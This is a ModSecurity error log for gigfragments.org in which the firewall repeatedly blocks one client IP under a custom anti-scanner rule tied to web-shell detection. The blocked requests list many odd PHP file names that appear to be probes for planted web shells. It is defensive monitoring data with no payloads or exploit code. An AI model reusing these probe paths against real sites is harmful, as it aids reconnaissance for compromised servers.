[Mon Feb 23 08:43:54.897303 2026] [:error] [pid 39639:tid 39656] [client 20.151.220.171:7104] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lul.php"] [unique_id "aZuiyhpFkMoMi8uTUUP_XwAAAk0"]
[Mon Feb 23 08:43:55.309849 2026] [:error] [pid 39640:tid 39690] [client 20.151.220.171:7137] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lul.php"] [unique_id "aZuiy9sK--eVCgzvvuciqgAAApQ"]
[Mon Feb 23 08:43:55.725895 2026] [:error] [pid 39640:tid 39691] [client 20.151.220.171:7093] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lul.php"] [unique_id "aZuiy9sK--eVCgzvvucirAAAApU"]
[Mon Feb 23 08:43:56.141934 2026] [:error] [pid 39640:tid 39674] [client 20.151.220.171:6990] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aZuizNsK--eVCgzvvucisAAAAoQ"]
[Mon Feb 23 08:43:56.558879 2026] [:error] [pid 39538:tid 39543] [client 20.151.220.171:7006] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aZuizC4Zk8-cQOG3ZnoWLAAAAYE"]
[Mon Feb 23 08:43:56.977360 2026] [:error] [pid 39540:tid 39575] [client 20.151.220.171:6985] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aZuizLsgm9aTWhlRScJg6QAAAcY"]
[Mon Feb 23 08:43:57.395115 2026] [:error] [pid 39540:tid 39571] [client 20.151.220.171:7033] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aZuizbsgm9aTWhlRScJg6gAAAcI"]
[Mon Feb 23 08:43:57.816122 2026] [:error] [pid 25380:tid 25406] [client 20.151.220.171:7128] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aZuizaKrc8yFQ8fy78obnwAAANg"]
[Mon Feb 23 08:43:58.257184 2026] [:error] [pid 39639:tid 39651] [client 20.151.220.171:7100] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aZuizhpFkMoMi8uTUUP_dwAAAkg"]
[Mon Feb 23 08:43:58.679589 2026] [:error] [pid 25380:tid 25383] [client 20.151.220.171:6914] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aZuizqKrc8yFQ8fy78obpgAAAME"]
[Mon Feb 23 08:44:19.780347 2026] [:error] [pid 25380:tid 25396] [client 20.151.220.171:7013] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aZui46Krc8yFQ8fy78ocKAAAAM4"]
[Mon Feb 23 08:44:20.195306 2026] [:error] [pid 39639:tid 39667] [client 20.151.220.171:7056] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aZui5BpFkMoMi8uTUUP_qgAAAlg"]
[Mon Feb 23 08:44:20.606793 2026] [:error] [pid 39540:tid 39576] [client 20.151.220.171:7076] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aZui5Lsgm9aTWhlRScJhsQAAAcc"]
[Mon Feb 23 08:44:21.019086 2026] [:error] [pid 39540:tid 39578] [client 20.151.220.171:7149] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aZui5bsgm9aTWhlRScJhugAAAck"]
[Mon Feb 23 08:44:21.433460 2026] [:error] [pid 39504:tid 39513] [client 20.151.220.171:6915] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aZui5XLcHpOlI9gwwJrZWwAAAUc"]
[Mon Feb 23 08:44:21.849056 2026] [:error] [pid 29909:tid 29925] [client 20.151.220.171:6991] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aZui5T9oc2QzltksUk6oqwAAAQ4"]
[Mon Feb 23 08:44:22.264546 2026] [:error] [pid 25295:tid 25353] [client 20.151.220.171:7103] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aZui5o2Av4J1Jnqi7yKXBwAAAJA"]
[Mon Feb 23 08:44:22.677920 2026] [:error] [pid 39639:tid 39652] [client 20.151.220.171:7023] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aZui5hpFkMoMi8uTUUP_rwAAAkk"]
[Mon Feb 23 08:44:23.121422 2026] [:error] [pid 25295:tid 25352] [client 20.151.220.171:7001] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aZui542Av4J1Jnqi7yKXCQAAAI8"]
[Mon Feb 23 08:44:23.540963 2026] [:error] [pid 39540:tid 39593] [client 20.151.220.171:7087] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aZui57sgm9aTWhlRScJh1gAAAdg"]
[Mon Feb 23 08:44:23.982871 2026] [:error] [pid 39540:tid 39575] [client 20.151.220.171:7001] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aZui57sgm9aTWhlRScJh1wAAAcY"]
[Mon Feb 23 08:44:24.403494 2026] [:error] [pid 39640:tid 39683] [client 20.151.220.171:7098] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aZui6NsK--eVCgzvvucjIAAAAo0"]
[Mon Feb 23 08:44:24.827352 2026] [:error] [pid 39540:tid 39576] [client 20.151.220.171:7127] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aZui6Lsgm9aTWhlRScJh4gAAAcc"]
[Mon Feb 23 08:44:25.247247 2026] [:error] [pid 39640:tid 39680] [client 20.151.220.171:7086] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aZui6dsK--eVCgzvvucjIQAAAoo"]
[Mon Feb 23 08:44:25.666103 2026] [:error] [pid 25380:tid 25387] [client 20.151.220.171:7073] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aZui6aKrc8yFQ8fy78ocOwAAAMU"]
[Mon Feb 23 08:44:26.088929 2026] [:error] [pid 25380:tid 25391] [client 20.151.220.171:7029] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aZui6qKrc8yFQ8fy78ocPwAAAMk"]
[Mon Feb 23 08:44:26.512062 2026] [:error] [pid 25294:tid 25341] [client 20.151.220.171:7003] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aZui6iRCFB3CqIo_jfZs2wAAAEQ"]
[Mon Feb 23 08:44:26.925683 2026] [:error] [pid 25295:tid 25365] [client 20.151.220.171:6925] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aZui6o2Av4J1Jnqi7yKXDQAAAJY"]
[Mon Feb 23 08:44:27.336475 2026] [:error] [pid 39639:tid 39665] [client 20.151.220.171:6998] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aZui6xpFkMoMi8uTUUP_twAAAlY"]
[Mon Feb 23 08:44:27.747005 2026] [:error] [pid 29909:tid 29928] [client 20.151.220.171:7032] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aZui6z9oc2QzltksUk6otQAAARE"]
[Mon Feb 23 08:44:28.162140 2026] [:error] [pid 25380:tid 25382] [client 20.151.220.171:7078] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aZui7KKrc8yFQ8fy78ocSQAAAMA"]
[Mon Feb 23 08:44:28.582338 2026] [:error] [pid 25380:tid 25400] [client 20.151.220.171:6937] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aZui7KKrc8yFQ8fy78ocTwAAANI"]
[Mon Feb 23 08:44:28.998744 2026] [:error] [pid 25295:tid 25339] [client 20.151.220.171:7123] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aZui7I2Av4J1Jnqi7yKXHQAAAIg"]
[Mon Feb 23 08:44:29.422289 2026] [:error] [pid 39538:tid 39551] [client 20.151.220.171:7082] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aZui7S4Zk8-cQOG3ZnoWZQAAAYk"]
[Mon Feb 23 08:44:29.835086 2026] [:error] [pid 39639:tid 39645] [client 20.151.220.171:6955] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aZui7RpFkMoMi8uTUUP_uAAAAkI"]
[Mon Feb 23 08:44:30.250900 2026] [:error] [pid 29909:tid 29914] [client 20.151.220.171:7034] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aZui7j9oc2QzltksUk6otwAAAQM"]
[Mon Feb 23 08:44:30.661793 2026] [:error] [pid 39639:tid 39650] [client 20.151.220.171:6936] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aZui7hpFkMoMi8uTUUP_wgAAAkc"]
[Mon Feb 23 08:44:31.083998 2026] [:error] [pid 39640:tid 39680] [client 20.151.220.171:7153] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aZui79sK--eVCgzvvucjKgAAAoo"]
[Mon Feb 23 08:44:31.498641 2026] [:error] [pid 39538:tid 39549] [client 20.151.220.171:6923] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui7y4Zk8-cQOG3ZnoWbgAAAYc"]
[Mon Feb 23 08:44:31.920831 2026] [:error] [pid 39538:tid 39558] [client 20.151.220.171:6935] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui7y4Zk8-cQOG3ZnoWcQAAAZA"]
[Mon Feb 23 08:44:32.330980 2026] [:error] [pid 39538:tid 39542] [client 20.151.220.171:7110] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui8C4Zk8-cQOG3ZnoWdQAAAYA"]
[Mon Feb 23 08:44:32.744178 2026] [:error] [pid 39640:tid 39681] [client 20.151.220.171:7089] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui8NsK--eVCgzvvucjMQAAAos"]
[Mon Feb 23 08:44:33.159034 2026] [:error] [pid 39540:tid 39579] [client 20.151.220.171:7021] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZui8bsgm9aTWhlRScJh-QAAAco"]
[Mon Feb 23 08:44:33.574529 2026] [:error] [pid 25294:tid 25343] [client 20.151.220.171:7036] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZui8SRCFB3CqIo_jfZs4gAAAEU"]
[Mon Feb 23 08:44:33.986259 2026] [:error] [pid 39540:tid 39572] [client 20.151.220.171:7019] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZui8bsgm9aTWhlRScJh_QAAAcM"]
[Mon Feb 23 08:44:34.401597 2026] [:error] [pid 25295:tid 25342] [client 20.151.220.171:6940] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZui8o2Av4J1Jnqi7yKXIQAAAIo"]
[Mon Feb 23 08:44:34.832867 2026] [:error] [pid 39640:tid 39683] [client 20.151.220.171:6988] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZui8tsK--eVCgzvvucjNwAAAo0"]
[Mon Feb 23 08:44:35.248912 2026] [:error] [pid 39640:tid 39693] [client 20.151.220.171:7028] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZui89sK--eVCgzvvucjOgAAApc"]
[Mon Feb 23 08:44:35.666623 2026] [:error] [pid 39640:tid 39672] [client 20.151.220.171:6966] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZui89sK--eVCgzvvucjQwAAAoI"]
[Mon Feb 23 08:44:36.079827 2026] [:error] [pid 25294:tid 25358] [client 20.151.220.171:6968] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZui9CRCFB3CqIo_jfZs5gAAAEw"]
[Mon Feb 23 08:44:36.493783 2026] [:error] [pid 39640:tid 39674] [client 20.151.220.171:7148] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZui9NsK--eVCgzvvucjUAAAAoQ"]
[Mon Feb 23 08:44:36.913600 2026] [:error] [pid 25380:tid 25406] [client 20.151.220.171:7031] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZui9KKrc8yFQ8fy78ocXwAAANg"]
[Mon Feb 23 08:44:37.335609 2026] [:error] [pid 25380:tid 25389] [client 20.151.220.171:7132] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZui9aKrc8yFQ8fy78ocYAAAAMc"]
[Mon Feb 23 08:44:37.754275 2026] [:error] [pid 25380:tid 25392] [client 20.151.220.171:6972] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZui9aKrc8yFQ8fy78ocZwAAAMo"]
[Mon Feb 23 08:44:38.166063 2026] [:error] [pid 39538:tid 39557] [client 20.151.220.171:6994] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui9i4Zk8-cQOG3ZnoWfAAAAY8"]
[Mon Feb 23 08:44:38.583748 2026] [:error] [pid 39540:tid 39576] [client 20.151.220.171:6992] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui9rsgm9aTWhlRScJiAgAAAcc"]
[Mon Feb 23 08:44:39.001730 2026] [:error] [pid 39540:tid 39579] [client 20.151.220.171:6967] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui97sgm9aTWhlRScJiBQAAAco"]
